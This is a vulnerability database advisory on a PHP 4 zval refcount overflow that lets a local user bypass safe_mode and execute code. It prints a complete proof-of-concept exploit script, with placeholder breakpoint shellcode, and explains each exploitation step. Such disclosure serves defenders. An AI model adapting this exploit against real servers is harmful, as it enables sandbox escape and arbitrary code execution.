32770 : PHP ZVAL Structure Reference Counter Local Overflow
Printer | http://osvdb.org/32770 | Email This | Edit Vulnerability

Views This Week

2

Views All Time

260

Info

Last Modified

about 1 year ago

Percent Complete

100%

Disclosure

Mar 01, 2007

Discovery

Unknown

Dates

Exploit

Mar 01, 2007

Solution

Unknown

Keywords

No Keywords

Description

PHP contains a flaw that may allow a malicious local user to bypass restrictions enforced by disable_functions, open_basedir, and safe_mode, or to launch direct local root exploits against the affected system. The issue is due to the possibility of a PHP application that is run in PHP 4 overflowing the zend_ushort refcount variable in _zval_struct through the creation of a large number of references for a specific variable, resulting in a double destruction of the underlying variable. It is possible that the flaw may allow a local attacker to execute arbitrary code within the process executing PHP resulting in a loss of integrity.

Classification

Location: Local Access Required
Attack Type: Input Manipulation
Impact: Loss of Integrity
Exploit: Exploit Available
Disclosure: OSVDB Verified

Technical

When the PHP 4 ZVAL structure was designed, the refcount variable was made 16 bits wide. In PHP 5 this field is 32 bits wide, due to the ease of overflowing a 16 bit counter and due to PHP not having internal protection against overflows of the reference counter.

---------------------
ZVAL Structure
---------------------
struct _zval_struct {
zvalue_value value; /* value */
zend_uchar type; /* active type */
zend_uchar is_ref;
zend_ushort refcount;
};

------------------------------
Exploit Explanation
------------------------------
1) Create a string that has the same size as a Hashtable
2) Create 65536 references to it to overflow the refcount variable
3) Free one of these references
-> Refcount drops down to 0
-> String gets freed
4) Free some more zvals
5) Create a new array with one element
-> Put shellcode in the key
-> Hashtable struct will be in the same place as the string
6) Use string to directly access the content of the Hashtable
-> Read pointer to first bucket
-> Add 32 bytes, offset to array key
-> Write pointer to the destructor field
7) Unset array
-> Executes code in $shellcode

---------------
Exploit
---------------
// the exploit is without real shell code and, as such, will only trigger the debugger
// Just make sure that the shellcode string is long enough to not end up in PHP's internal memory cache
<?php
die("REMOVE THIS LINE");
$shellcode = str_repeat(chr(0xcc), 500);
$________________________str = str_repeat("A", 39);
$________________________yyy = &$________________________str;
$________________________xxx = &$________________________str;
for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;
$________________________aaa = " XXXXX ";
$________________________aab = " XXXx.xXXX ";
$________________________aac = " XXXx.xXXX ";
$________________________aad = " XXXXX ";
unset($________________________xxx);
unset($________________________aaa);
unset($________________________aab);
unset($________________________aac);
unset($________________________aad);
$arr = array($shellcode => 1);
$addr = unpack("L", substr($________________________str, 6*4, 4));
$addr = $addr[1] + 32;
$addr = pack("L", $addr);
for ($i=0; $i<strlen($addr); $i++) {
$________________________str[8*4+$i] = $addr[$i];
$________________________yyy[8*4+$i] = $addr[$i];
}
unset($arr);
?>

Solution

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): Manually change the size of the reference counter in your own PHP. The problem with this approach is that you will have to recompile all your PHP extensions and will not be able to use closed source PHP extensions.

Products

The PHP Group
Watch-list
PHP
Watch-list
4.0 Beta 1
4.0 Beta 2
4.0 Beta 3
4.0 Beta 4
4.0.x
4.1.x
4.2.x
4.4.0
4.4.2
4.4.1
4.3.x
4.4.3
4.4.5
4.4.6
4.4.4
4.0, Release Candidate 2
4.0, Release Candidate 1

References

Tools & Filters

Nessus

24887

Credit

  • Stefan Esser - sesserBrand New Doo Doohardened-php.net - www.hardened-php.net

Blogs

None found at this time

Comments

No Comments.

DONATE NOW!

User Status

Quick Searches

Advertisements

The database information may change without any notice. Use of the information constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the copyright holder or distributor (OSVDB or OSF) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

© Copyright 2008 Open Source Vulnerability Database (OSVDB), All Rights Reserved.
Privacy Statement - Terms of Use